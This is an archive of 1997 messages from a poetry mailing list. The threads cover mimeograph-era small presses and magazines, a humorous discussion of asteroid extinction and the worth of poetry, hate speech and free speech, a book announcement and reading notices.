>wr-eye-ting list is virtually exactly the same impulse and much of the same
result
>as a little mag effort of those olden days, and with few of the same
limitations
>vis a vis distribution or reliance entirely on the local.

I think this is true and it is interesting that P76 is re-emerging on the www having basically missed the offset revolution completely. A computer and internet connection does cost more than a gestner machine a lot of students (and others) have access to cheap internet connections through universities (P76 actually accessed stencil cutting machines to cut stencils for our gestner which meant we did paste ups which could include graphics and then cut the stencils at Sydney Uni for the cost of the stencil - the cost of hiring or buying a stencil cutting machine was way beyond our means).

Mark
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

↑ Index

141. **DS**
Re: Pogo
Thu 6 Mar 1997

They are occasionally in New Zealand - and are re-releases or new anthologies, so they must be in Amerikee.

At 05:24 PM 3/6/97 -0500, you wrote:
>George Bowering wrote:
>
>> Now Walt Kelly wd be in another kind of trouble.
>
>I must have missed the beginning of this Pogo thread. Was a PC problem ever
>perceived here?
>

>Anyway, I love the language possibilities. Are the Pogo books still available
>in the bookstores?
>
>
>
>Bill Burmeister
>
>

↑ Index

142. **Mark Roberts**

Re: Magic Sam, et. al.

Thu 6 Mar 1997

There was also a small press set up I think (correct me if I'm wrong Pam) Ken and Anna and later run by Anna called Sea Cruise Books (they actually published some roneoed titles (Robert Kenny's BOOK OF DECTION was roneoed I seem to recall - & then there was the NO REGRETS anothologies of womens' writing).

.....come and let me take you on a sea cruise.....

>Re:
>
>"And I should add that "Magic Sam" was edited & produced by Ken Bolton (with
>Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and
>has a poetry publishing imprint called "Little Esther""
>
>I assume (nearly) everyone on this list knows the names and music of Magic
>Sam, Otis Rush, Little Esther. Obvious point if not: these mags were named
>after blues guitarists/singers MS and OR and blues singer LE.
>
>Tom
>
>
>
>
>
>Tom Mandel
>**********
>Screen Porch * [redacted]
>4031 University Dr. Suite 200 * vox: [redacted]

>Fairfax, VA 22030-3409 * fax: [redacted]
>**********
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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143. **Mark Roberts**

Re: The Great Smell of Mimeo

Thu 6 Mar 1997

---

yeah a trick we had at primary school was to tell younger kids that mimeograph sheets tasted great if you licked them. More often than not the metho would make them sick.....

>another on e of my favorite things about old mimeo forms was that the
>stencils were called "Spirit Masters."
>
>At 7:04 PM 3/6/97, Hank Lazer wrote:
>>Yes, Kenny G, that smell, wonderfully mnemonic. Mere mention of it,
>>and I can begin to see Mr Tollefson's sixth grade classroom, and
>>smell the hamsters in the back of the room.... Thanks.
>>
>>Hank Lazer
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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144. Martin J Spinelli
Marinetti recordings
Thu 6 Mar 1997

Thanks Jerry,

The Cramps LP sounds exactly what I'm looking for. I'll check our music library hear tomorrow, failing that I.L.L. (if they do audio).

Tellus is an audio cassette magazine produced by Harvestworks in NYC. Their #21 issue was called "Audio by Visual Artist" and has Marinetti's "La Battaglia di Adrianopoli" only. Also included are Maurice Lemaitre, Marcel Duchamp, Kurt Schwitters, Raoul Hausmann, Mimmo Rotella, Antonio Russolo, and about a dozen others. If you want, I can dig up their phone number for you. Just email me.

Thanks again,
Martin

_____ Martin Spinelli [redacted] English Department, SUNY @ Buffalo LINEbreak
http://writing.upenn.edu/epc/linebreak EPC Sound Room
http://writing.upenn.edu/epc/sound

↑ Index

145. Mark Roberts
Re: mimeo revolution & P76
Thu 6 Mar 1997

From memory think there are copies of P76 in the University Library at buffalo. Let me know if I'm wrong.

Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
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Phone 61 2 93517710
Mobile 015063970
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↑ Index

146. **Maria Damon**
Re: mimeo revolution
Thu 6 Mar 1997

---

what is the origin of the word "mimeo"? i assume it's somehow related to the concept of mimesis, but any further insights wd be enjoyed by moi. goodnight to all, md

↑ Index

147. **aerialedge**
Raworth reading
Thu 6 Mar 1997

Sunday March 9th 8 PM

Tom Raworth

Bridge Street Books, 2814 Pennsylvania Ave NW
Washington, DC ph [redacted]

three to five dollar suggested donation

Tom is amazing.

↑ Index

148. **Alan Jen Sondheim**
Re: asteroid to hit earth
Fri 7 Mar 1997

I always donate my poems to stopping anything from outer space. Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

↑ Index

149. **Mark Roberts**
Re: asteroid to hit earth
Fri 7 Mar 1997

Of course, how stupid of me. I'm going to start writing traditional sonnets and save the earth from being hit by an asteroid.

>I have a question. Astronomers and people in-the-know writing in
>Astronomy, Sky and Telescope, Scientific American, and The New Yorker,
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>suddenly *tonight* or next month or in a further but still totally
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>waht one is wearing and comic strip guys? how about George
>crumb if we're going to do comics..)
>
>Wouldn't a progressive political stance for avant-garde poets be to
>lobby their governments to invest in research to track the thousands
>of still unknown earth-crossing asteroids? The cost for effectively
>doing so is very minimal compared to military budget. No doubt a
>number of experimental poets will be laughing right now.
>
>well Kaboom,
>
>Kent
>
>

Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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150. **Mark Roberts**

Re: asteroid to hit earth

Fri 7 Mar 1997

I just thought of something. I think we have just proved that dinosaurs where language poets - and therefore they were wiped out by a giant asteroid. I mean there they were sniffing roneo ink when...WHAMO

>
>
>
>
>>I have a question. Astronomers and people in-the-know writing in
>>Astronomy, Sky and Telescope, Scientific American, and The New Yorker,
>>have made it clear in the past year and a half that the Earth is
>>fated to be whomped with an asteroid or comet, wiping out everything-
>>-and they mean everything-- as we know it. It might happen
>>suddenly *tonight* or next month or in a further but still totally
>>unsuspecting future.
>>
>>So my question is this: Given this overwhelming fact of an eventual,
>>sudden, and irreversible asteroidal extinction, what is the purpose
>>or worth of poetry, "avant-garde" or
>>otherwise? I mean, there will be no smell of mimeo ink or
>>memory of it after the big one hits. language poetry, its
>>precursors and fellow travellers, along with all its contraries, will
>>be blown to smithereens. The World and APR. Waht makes us talk of
>>evanescent words
>>and letters in the face of potential nothingness? Or would this be
>>provocation and reason for mimeo an its strange smelles?
>>
>>Leinenkugel's is not a micro, but it's a noble beer. ("btw"--as the
>>buffaloish idiom goes--what beers, sodas, or other drinks do avant-
>>garde poets prefer when writing? perhaps as relevant a thread as
>>waht one is wearing and comic strip guys? how about George
>>crumb if we're going to do comics..)
>>
>>Wouldn't a progressive political stance for avant-garde poets be to
>>lobby their governments to invest in research to track the thousands
>>of still unknown earth-crossing asteroids? The cost for effectively
>>doing so is very minimal compared to military budget. No doubt a
>>number of experimental poets will be laughing right now.
>>

>>well Kaboom,
>>
>>Kent
>>
>>
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151. **Demian Reed**
Re: asteroid to hit earth
Fri 7 Mar 1997

The question is it seems why bother doing anything, ever as eventually some disaster may befall us. The answer is survival ie reseach, investigate cures for diseases, learn to build spacehips to escape asteriods etc

What part for poetry in this?
Not much, but maybe it keeps the scientists and people with real jobs entertained for a while or at least gets them thinking laterally

If the asteriod is big enough we can make it our new home, revert back to carving verse in rock and maybe one day progress to the high technological level of mimeo

ps Hi DS - finally made it on!

↑ Index

152. Alan Jen Sondheim
Re: asteroid to hit earth
Fri 7 Mar 1997

I started to write a reply about why does poetry need a _part_ and why not stop legitimation crises behavior phenomena and then I got NO CARRIER so it was all precluded but I remember asking Edwin Honig why we studied Eng. Lit. when I did and he said because it makes us better people. Sometimes I pray for the asteroid. Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

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153. David Israel
Re: mimeo
Fri 7 Mar 1997

Maria Damon asked --

<< what is the origin of the word "mimeo"? i assume it's somehow related to the concept of mimesis, but any further insights wd be enjoyed by moi. >>

Not sure -- but a few thoughts anyhow --

At the little Quaker grade school I attended in So. California in the '60s (Pacific Ackworth Friends School, Temple City), mimeographs were used regularly for ordinary lesson materials (esp. I think in the lower grades, for some reason; perhaps textbooks were more common in the upper grades).

I've a notion that part of the typist's skill (w/ manual typewriter) involved even force on the keys (true for carbon copies too, but here I referr to the cut of the mimeo sheet).

Seem to recall some variation in shade -- purple, blue.

Now as for the word, we find these related words:
~mimeograph / mimeography / mimeographic
~xerox / xerograph (?) / xeroxgraphy / xerographic
~reprographics
~facsimile reproduction
also: telegraph
also: autograph / polygraph / pictograph
(not to mention: paragraph)
& also: ~stenotype / stenographer / stenography / stenographic

"mimeo" is (of course) a shortened (familiar) form of "mimeograph" -- and sure, as for derivation, it *seems* like a direct Latin thing (from mimesis + graph?). My guess is, perhaps it's modeled after stenography (?) -- quite big circa '30s-'50s et seq.

↑ Index

154. **Schuchat Simon**
Re: asteroid to hit earth
Fri 7 Mar 1997

---

wait a minute. I was under the impression that the asteroid had already hit the earth, and is now known as the gulf of mexico.

if lightning never strikes twice, why would an asteroid?

↑ Index

155. **Ken Edwards**
Re: mimeo revolution
Fri 7 Mar 1997

The most prolific producer of mimeo poetry books has got to be Bob Cobbing's Writers Forum, which started in the 1950s and continues to this day, although Bob switched to xeroxing some 15 years ago or so. There are presently well over 600 WF titles, all claimed to be "in print" (Bob will photocopy a book on demand). The magazine AND is associated with the press, and has also been running (sporadically) since the 50s.

Write to him at 89a Petherton Road, London N5 2QT, UK. No e-mail I'm afraid.

Ken

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156. **David Israel**
Re: asteroid to hit earth
Fri 7 Mar 1997

Anent Kent Johnson's dramatic query --

<< ... So my question is this: Given this overwhelming fact of an eventual, sudden, and irreversible asteroidal extinction, what is the purpose or worth of poetry, "avant-garde" or otherwise? I mean, there will be no smell of mimeo ink or memory of it after the big one hits... What makes us talk of evanescent words and letters in the face of potential nothingness? >>

The fact that all that now appears before us shall one day vanish -- that is already (on some level) well known. Don't need asteroids to make it so. With 'em

or without 'em, the basic story remains. The contemp. myth of asteroids serves to dramatize this (in ways that seem dubious). But no matter. They don't tell us a whole lot we didn't already "know."

That's part of the given situation. Poetry -- often, or at best, or in some circumstances (or poss. w/ other such levels of qualification, but finally & withal) -- poetry seeks to take adequate stock of this very situation.

It has been said (by the wise, if you'll pardon this) that consciousness itself transcends the vehicles which it employs (such as what we call our "body" -- clearly evanescent, as well as what usually mean by our "mind" -- rather more long-standing [according to many], yet ultimately also destined for annihilation). To certain writers (especially many a poet), such issues grow to become as no-shit serious as are those pesky little asteroidal issues to certain science-writers whose speculations have, as noted, lately adorned the here-today pages of American journalism.

> *well Kaboom,*
>
> *Kent*

one day (perhaps) -- but hey, *not yet*
[as quoth the bloke in The Little Buddha],

David

↑ Index

157. Michael Boughn
Clarke book
Fri 7 Mar 1997

ANNOUNCING THE PUBLICATION OF JOHN CLARKE'S
IN THE ANALOGY (Books 1-7)

Devil's Triangle

"How should the hero now speak? Who is after all--a vision?" --Nietzsche, The Birth of Tragedy

"Texas has a lot on its head."
--Edward Dorn, "The Degeneration of the Greeks"

"Power can stage its own murder to rediscover the glimmer of existence and legitimacy."
--Baudrillard, "Precession of the Simulacra"

"Happiness is not based on oneself, it does not consist of a small home, of taking and getting. Happiness is taking part in the struggle, where there is no

borderline between one's own personal world, and the world in general." --Lee Harvey Oswald, Letter to his brother

If we are the seminal fluidity, then we contain already,
as Whitman knew, _everything_, "diddling" (Poe) as well as
the Good, however forced sometimes the dilation as seen
from old heroic organization before the shit rolled like
termite droppings into the load-bearing bridges for everyone
to cross into Dealy Plaza, Dallas "takes us" November
22, 1963, and not only Oswald and Ruby, but Guy Bannister,
Shaw, Ferrie, Bloomfield and Permindex, now Roscoe White
and more aliens up from the South, Watergate's Sturgis,
Union survivors up North, all those insane in Honolulu
since the birth of the Nation/Hail to the Chief shot
American Transcendentalism out of the feudal individual
and delivered into the hands of Walt's "unprecedented
average," thank you Abe, thanks Jack, now it's up to us.

****

In the Analogy is a ravishing translation of the sonnet into an american language. Realizing the poetics he put forward in _From Feathers to Iron_, Clarke here brings to bear the push toward what he called _the world strengthening method_, a way of thinking through the epic impulse after Olson. This work, astonishing in the range of its thinking and reference, is John Clarke's final work, not finishing, though it knows that fact, but finally just stopped in its tracks. Each of the six completed books contains 40 sonnets, and the final book conatins 4.

"John Clarke is among those stand-out poets who are guides in what to do in writing that thinks. So--we may come through. . . . A concourse of poems--necessary rests between them--runs into and investigates our ongoing predicamnt. Here we are just plain after-the-modern (to use Olson's clear recoognition and step around the pile-up of postisms) and at work." --Robin Blaser

"John Clarke's poems carry off an integration of a whole gamut of moods. . . . They reach out to startling conclusions and skein out to a future from a deep past in a web of many dimensions. . . . [A]s far beyond Olson as Olson was beyond Melville." --Albert Cook, _American Poetry Review_

John Clarke (b. 1933, Winesburg, Ohio, d. 1992) is also the author of _Lots of Doom_ (1973), _Gloucester Translations_ (1974), The End of This Side_ (1979), and _From Feathers to Iron: A Concourse of World Poetics_ (1987). As Director of the Institute of Further Studies (founded 1965) he oversaw saw publication

of the ongoing series, _A Curriculum of the Soul_. He taught for 29 years at the State University of New York at Buffalo. From 1989 to 1991 he edited _inent: letter of talk, thinking, and document_.

6" x 9"; 265 pp.; ISBN 1-880631-10-5 (pbk, sewn), $18.00US, $23.00CDN; 1-880631-11-3 (hdbk), $35.00US, $45.00CDN. (Please include $5.00 for postage and handling).

In the Analogy is available from shuffaloff books, 260 Plymouth Ave., Buffalo NY 14213 USA or 653 Euclid Ave., Toronto ON M6G 2T6 CAN. (e-mail Michael Boughn at [redacted])

It's also available through Small Press Distribution, 1814 San Pablo Ave., Berkeley CA 94702, and Talking Leaves Books ([redacted]).

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158. Wendy Battin
Re: asteroid to hit earth
Fri 7 Mar 1997

Not to worry, Kent. Asteroids "read," though they don't move their lips and only rarely review. The whole point of the internet is to increase and amplify linguistic activity on a global scale; as long as we keep our bubble of words inflated, nothing can touch us. Check out that seminal work on Bell's Theorem, _Whistling in the Big Dark: Quantum Butterflies and the Development of Human Culture_.

Wendy

↑ Index

159. Gwyn McVay
Re: asteroid to hit earth
Fri 7 Mar 1997

Mark, I am, on the other hand, going to remain starstruck.

Get it? Get it?

Gwyn
WHOMP

↑ Index

160. Maria Damon
Re: asteroid to hit earth
Fri 7 Mar 1997

> *Anent Kent Johnson's dramatic query --*
>
> *<< ... So my question is this: Given this overwhelming fact of an eventual, sudden, and irreversible asteroidal extinction, what is the purpose or worth of poetry, "avant-garde" or otherwise? I mean, there will be no smell of mimeo ink or memory of it after the big one hits... What makes us talk of evanescent words and letters in the face of potential nothingness? >>*

i don't get why we shd get upset abt this. i mean it's kind of cool to think of everything being different. better this kind of apocalypse than one we do to ourselves (ecological abuse, nuclear etc). some of us are already living in the wake of our own apocalypses.

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161. Steven Marks
Re: asteroid to hit earth
Fri 7 Mar 1997

Uhhhhmmm.... we're all going to die anyway at some point in the future.

But then again, there is cloning.

Steven Marks

http://members.aol.com/swmarks/welcome.html

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162. Daniel Bouchard/College/hmco
the blushing power
Fri 7 Mar 1997

Someone here recommended recently that all we read the current (3/17) issue of THE NATION (Crushing/Publishing).

MC Miller's article struck me as a rant, and a mediocre rant at that. He said publishers don't LOVE their books anymore and interested in the money only. He said that a lot of what is published today is "crap."

While he says all this he claims to avoid idealizing a past "golden age" in the same way someone might avoid saying something callous by prefacing it with "I

don't mean to be callous or anything but . . . " and then making a distinctly callous remark.

Toward the end he offers a warning ("a dark development indeed") that if the present situation persists-- that of professors having great difficulty in getting "an arcane study published"-- then tenure rules in the academy may be revised and professors may have to qualify in some other way-- by the merit of their teaching, for instance.

[redacted]

↑ Index

163. Daniel Bouchard/College/hmco
the blushing power
Fri 7 Mar 1997

Someone here recommended recently that all we read the current (3/17) issue of THE NATION (Crushing/Publishing).

MC Miller's article struck me as a rant, and a mediocre rant at that. He said publishers don't LOVE their books anymore and are interested in the money only. He said that a lot of what is published today is "crap."

No argument with Miller.

While he says all this he claims to avoid idealizing a past "golden age" in the same way someone might avoid saying something callous by prefacing it with "I don't mean to be callous or anything but . . . " and then making a distinctly callous remark.

Toward the end he offers a warning ("a dark development indeed") that if the present situation persists-- that of professors having great difficulty in getting "an arcane study published"-- then tenure rules in the academy may be revised and professors may have to qualify in some other way-- by the merit of their teaching, for instance.

[redacted]

↑ Index

164. William Burmeister Prod
Re: asteroid to hit earth
Fri 7 Mar 1997

I can't go on, I must go on. If this happens, the survivors will go back to eating poetry (maybe mimeographed poetry at that!) They sure as hell won't be watching peter jennings.

BB

> *I have a question. Astronomers and people in-the-know writing in Astronomy, Sky and Telescope, Scientific American, and The New Yorker, have made it clear in the past year and a half that the Earth is fated to be whomped with an asteroid or comet, wiping out everything--and they mean everything-- as we know it. It might happen suddenly *tonight* or next month or in a further but still totally unsuspecting future.*

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165. **Pritchett,Pat**
Re: asteroid to hit earth
Fri 7 Mar 1997

Contrary to popular opinion, Simon, lightning frequently touches the same place not twice, but many times. There have been numerous asteroid impacts: the Tungushka event in Siberia, c.1910; Arizona's "tourist" crater; Yucatan, of course, and many smaller ones all over.

Apocalypse fever - catch it!

And of course the answer to Kent's question is: so what? just keep writing. I mean, the sun is going to enter the red giant phase in 20 million years anyway, swallowing the innerplanets in its death throe expansion. You might as well as write...

From: Schuchat Simon
To: POETICS
Subject: Re: asteroid to hit earth
Date: Friday, March 07, 1997 2:59AM

wait a minute. I was under the impression that the asteroid had already hit the earth, and is now known as the gulf of mexico.

if lightning never strikes twice, why would an asteroid?

↑ Index

166. **maz881**
france readings
Fri 7 Mar 1997

---

for you french folks:

There will be a bilingual reading of Mon Voyage a New York a chapbook by me in Bordeaux wednesday march 12 at 4:00pm at the Ecole des Beaux Arts.

And again with party in Bouliac thursday march 13 chex Maya Andersson & Alexandre Delay 7pm.

And again saturday march 15th at noon at the abbey of Royaumont outside of paris.

for info call bordeaux france: 5.56 81 27 55
or paris france: 4734-1770

hope to see you there,

Bill Luoma

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167. Loss Glazier
Re: mimeo revolution
Fri 7 Mar 1997

To this thread I'd like to add a note about my book _Small Press: An Annotated Guide_ (Greenwood Press) which has an essay contextualizing the Mimeo Revolution and innovative small press and also lists and reviews nearly 200 sources related to small press. The focus of the book is to view independent, content-oriented publishing from the perspective of the IDEA of a mimeo-revolution which, publishing history has shown, was not so much tied to a particular type of machine but to a sense of how to make writing circulate.

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168. Pritchett,Pat
Re: Russkies
Fri 7 Mar 1997

Watched a portion of Tarkovsky's "Stalker" last night. Had to break off to read "Ivan Ilyich" for class. My query is this: who is Arseny Tarkovksy, listed in credits for writing poetry for film? Is he related to Andrei? Seems I've seen this name before in some anthology.

Patrick Pritchett

↑ Index

169. Alan Jen Sondheim
Re: asteroid to hit earth
Fri 7 Mar 1997

---

20 _million_ years? Hardly, I'd go up an order of magnitude... (I need time to shower/prepare.)

Alan

On Fri, 7 Mar 1997, Pritchett,Pat @Silverplume wrote:

> *Contrary to popular opinion, Simon, lightning frequently touches the same place not twice, but many times. There have been numerous asteroid impacts: the Tungushka event in Siberia, c.1910; Arizona's "tourist" crater; Yucatan, of course, and many smaller ones all over.*
>
> *Apocalypse fever - catch it!*
>
> *And of course the answer to Kent's question is: so what? just keep writing. I mean, the sun is going to enter the red giant phase in 20 million years anyway, swallowing the innerplanets in its death throe expansion. You might as well as write...*
> ----------
> *From: Schuchat Simon*
> *To: POETICS*
> *Subject: Re: asteroid to hit earth*
> *Date: Friday, March 07, 1997 2:59AM*
>
> *wait a minute. I was under the impression that the asteroid had already hit the earth, and is now known as the gulf of mexico.*
>
> *if lightning never strikes twice, why would an asteroid?*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

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170. Alan Jen Sondheim
Re: asteroid to hit earth
Fri 7 Mar 1997

Jennifer'd want to let the race die with grace, flat on its face.
Species extinction's up to 104 per day, latest web estimates.
Humanity's 1/104 along that turn of mind, never mind the biomass.
Scales'd weigh in way in for the other 103.
Jennifer'd vote that way.
Jennifer'd take her panties off at the very last moment.
Slugs. Slugs.

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

↑ Index

171. Gwyn McVay
Paging Tod Thilleman
Fri 7 Mar 1997

wd. someone be so good as to backchannel me the e-mail address of Tod Thilleman? all intentions pure.

Gwyn

↑ Index

172. Steven Marks
Re: is "hate" speech "free" speech
Fri 7 Mar 1997

On Tue, 4 Mar 1997, Mark Wallace wrote:

> Sorry not to let this thread die, but I don't think I'm quite
> ready to let go of it yet.
>
Me neither. Here is the paragraph I'm responding to.
>
> A Fourteenth Amendment position might point out, therefore, that in a case
> where there may be a conflict between the right to free speech and the
> right to equal opportunity under the law, both individuals defending their
> right to free hate speech and individuals defending their right to equal
> opportunity by making attempted prosecutions of hate speech must prove
> "compelling reasons" that 1) their activity be protected 2) that the
> activity of others can be definitely SHOWN to impact their freedom. Thus,
> someone who sues someone else for "hate speech" must prove how they have
> been harmed, while someone defending their right to free speech must prove
> why their need to denigrate others based on race outweighs the right of
> individuals to equal access under the law. Both such instances would then
> need to be pursued on the basis of the particularities of their cases,
> rather than by generalities about "free speech" or "equal rights."
>
In theory, I think this is a good theory, but I wonder how it differs from
the Common Law (or Talmudic for that matter) tradition that we have
inherited. Won't we start noticing similarities in the particularities of

individual cases? And what does that lead to but amendments based on sweeping generalities. I'm afraid that we will simply invent the wheel all over again. And now to tie this in with asteroids on collision courses with the earth, what do we as poets and critics do about this eternal return of the present? Should we be architects or chroniclers? I'm not sure either but I'd argue that the latter offers more opportunities for influence in the bazaar of ideas.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

173. **Burt Kimmelman**

Re: the blushing power

Fri 7 Mar 1997

---

daniel,

i mentioned the issue. yes i do think that a memoir by john gotti's daughter, for instance, ghost written or otherwise, is not what i would call "high culture." in other words, it's crap. you like crap?

burt

↑ Index

174. **michael corbin**

Re: asteroid to hit earth

Fri 7 Mar 1997

Oh, men of science! Oh, versifiers, balladmongers given over to that illusory materialism of asteriods. Listen all those who have ears to hear!

O for that warning voice, which he who saw
Th' Apocalypse heard cry in Heaven aloud,
Then when the Dragon, put to second rout,
Came furious down to be reveng'd on men,
"Woe to the inhabitants on Earth!" that now,
While time was, our first parents had been warn'd
The coming of their secret foe, and scap'd,
Haply so scap'd, his mortal snare! For now
Satan, now first inflam'd with rage, came down,

The tempter, ere th' accuser, of mankind,
To wreak on innocent frail Man his loss
Of that first battle and his flight to Hell;

milton says get it while the gettin is good.

mc

↑ Index

175. **michael corbin**
Re: the blushing power
Fri 7 Mar 1997

Daniel Bouchard/College/hmco wrote:
>
> Someone here recommended recently that all we read the current (3/17) issue of
> THE NATION (Crushing/Publishing).
>
> MC Miller's article struck me as a rant, and a mediocre rant at that.

Yes. Very thin analysis, and very puffed up about itself. I just read this too, and I'm happy to learn that monopoly capitalism is bad, thank you very much, and that we readers and writers live in the declension that not even gutenberg can save us from. And for all his mau-mauing about the always already absent goldenage (or is that goldeneggs) he has a lot of sentimental longing looks over his shoulder. but, Maybe he's sniffing the air for that mimeo olfactory sensation. Or, more likely he is keepin a eye peeled for an asteroid.

mc

↑ Index

176. **Joseph Lease**
Re: the blushing power
Fri 7 Mar 1997

I missed the early part of this thread: what was the question

On Fri, 7 Mar 1997, Burt Kimmelman [redacted] wrote:

> *daniel,*
>
> *i mentioned the issue. yes i do think that a memoir by john gotti's daughter, for instance, ghost written or otherwise, is not what i would call "high culture." in other words, it's crap. you like crap?*

> *burt*

↑ Index

177. Joe Safdie
Re: asteroid to hit earth
Fri 7 Mar 1997

Thanks, asteroidals, for some much-needed humor . . .

but seriously folks, is anyone interested in this and other doomsday scenarios as examples of "millenium fever"? -- strange cults tend to gather around the fin de siecle (not to mention that we're all, anyway, writing under a death sentence, as several have mentioned)

But I thought the Mayans had given us until December, 2012.

↑ Index

178. Alan Jen Sondheim
of purely local historic interest / kill me with an asteroid
Fri 7 Mar 1997

--

[First Appearance of Jennifer in Internet Text]

Jennifer

They surfaced again in 1688.

_____

[Melded First Appearances of Jennifer in Files dd / ee Internet Text]

Jennifer walked to the window, thought albatross around her neck. Her sails unfurled like a curly girl. I'm Jennifer, she said. I'm Jennifer and I'm still Jennifer, she said. Now I'm still Jennifer and I'm Jennifer now and still Jennifer. She somersaulted back into the malted, licked herself over and Jennifer, she said. And I'm Jennifer, she said, and went to bed.

Jennifer had a thought. Honey had a thought. Pip had a thought. Jennifer sat up and stood down. She raised her frock and cut her panties a table. "I will make you pile on the screen," said Jennifer (and panties). There's a lighthouse and my eyes, said Jennifer, sitting up and lying down. She cycled tremendously! Whirr! "You are looking at my shit!" cried! Jennifer! Jennifer-I-Jennifer-Jennifer is a silicon chip embedded in Clara's brain. Jennifer is an installation of Alan! I Jennifer-Jennifer is Clara's brain. You are Delirious-Jennifer delirious Jennifer, you

won't let me go. Kill me, kill me, delirious Jennifer. Put a bullet in my head, do it fast and do it quick. Get rid of me, delirious Jennifer. Are Jennifer you delirious Jennifer? If I can't, I won't and can't and won't. Can't think another thought worthwhile, delirious Jennifer, if I can't I can't! Motherfather, delirious Jennifer, then kill me! I be the woman, I piss milk, wet Jenni- fer! You be the killer, kill my children! Thud, wet! Delirious Jennifer, thud thud! Kill me, I can't think delirious! Jennifer! Thud! Thud! Thud!

ThE nEw MaChInE gets cold. Jennifer moves towards the center where everything evens out and there are new microbes. Thud! Thud!

↑ Index

179. Demian Reed
Re: asteroid to hit earth
Fri 7 Mar 1997

Re Mayans and Doomsday:

THe push here is two fold: 1) Mayan notion of time being cyclic, and the expectations that extinction and rebirth is natural and fated. Hence Aztecs represent themselves as legitimate successors to the Toltecs, as opposed to conquerors of them. The problem arises when the Spanish arrive and Cortes goes on a spree. In a real sense there is a level of indecision based on religous belief about 'This is fated'.

But for us I think what is more interesting is the argument that the Mayans were defeated by language: it was their inability to interpret language laterally that leads to their downfall (or so Todorov would argue)

ipso facto: Indians and Spaniards practice communication differently. The Indians devote a great deal of their time to the interpretation of messages, and this interpretation takes elaborate forms, which derive from various kinds of divination. Interpretation is systemnatic (ie dividing time into a thirteen week calendar) and contextual (which takes the form of omens) Every event is interpreted as the herald of another event (Which implies that nothing in this world ocurrs randomly). The Aztecs are convinced that all such divinations come true and only very rarely resist the fate declared to them. In Mayan the word fate also signifies 'prohecy' or 'law'.

The world is from the start posited as overdetermined, everything is forseeable hence everything is forseen, Secondly the society is highly heirarchical and regulated: the individual exists for the group, not themselves.

The Spanish on the otherhand practice a different kind of communication: If you say there exist two major kinds of communication: one between person and person, the other between person and the world, the Mayans and Aztes practised the latter and the Spanish the former.

Communciation of couse is not limited to that between individual and individual, it also encompasses that between individual and the woder social group, the natural world and the religious universe.

When a messanger comes to Montezuma and tells him what he has seen (Spanish ships and horses) he is thrown into prison. The magicians try to have prophetic dreamns to interpret the supernatural omens. So when the information about the Spanish reaches Montezuma his interpretation of it is made in the context of communication with the world, not of that with other individuals.

It is this particular way of practicing communucation (neglectinmg the human dimsension, privaliging contact with the world) which is responsible for the Indians distorted image of the Spanish during the first encounters, and notable for the paralyzing belief that the Spanish are gods.

Perhaps more to come on the production of discourse and symbols by the Mayans ie discourse as symbols, as symbolic - each word is a signifier rather than the signified etc

> *Thanks, asteroidals, for some much-needed humor . . .*
>
> *but seriously folks, is anyone interested in this and other doomsday scenarios as examples of "millenium fever"? -- strange cults tend to gather around the fin de siecle (not to mention that we're all, anyway, writing under a death sentence, as several have mentioned)*
>
> *But I thought the Mayans had given us until December, 2012.*

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180. **DS**

Re: is "hate" speech "free" speech

Fri 7 Mar 1997

I have kept quiet on this thread (I think) but now have both 'a solution' and an 'observation'

Solution: (having watched Mr Smith Goes to Washington recently) all poets who feel strongly about anything should in a poetic filibustering hereby drowning out opposing voices and diminishing the need for violence.

Observation: In yet another instance of New Zealand political life imitates poetics mailing list this week our deputy prime minister 'assaulted' another

politician (in parliament but outside working hours) - who said stuff he didn't like. The politician assaulted was one all thinking New ZEalanders would have (as with some peoples attitudes to Dorn) have liked to punch at some if not many times over the last few years. He is an racist, sexist, homophobic, classist etc etc asshole.

HOWEVER the deputy PM who puched him is himself a lying, scheming, manipulative drunk. Curiously the debacle was witnessed by the leader of our more 'old school left wing' (what else can i call it) party.

The question here arises - and i guess this is directed more at punchers than anti-punchers - how do we react when someone long over due a good pop in the kisser has it administered by someone equally scarey. (To tie hitler into it again - would we cheer if he were punched by Mussolini?) One thinks couldn't have happened to a better person - but unfortunately someone - probably both is gonna get a whole lotta mileage out of it.

ANyway how this relates to poetics i am not sure - as these threads have a tendency to wander - i hope i have not wandered to far. Guess i really wanted to check whether our deputy PM was on the list & as i was concerned this discussion may have had a negative influence on him.

Winston are you out there?

Dan

↑ Index

181. Stephen Vincent
Mimeo Miss, Ms., Misses
Fri 7 Mar 1997

Just struck me this moring that the List had missed some important staple bound - either mimeo and/or off-set presses which wd add 'grain' to the Granary exhibit.

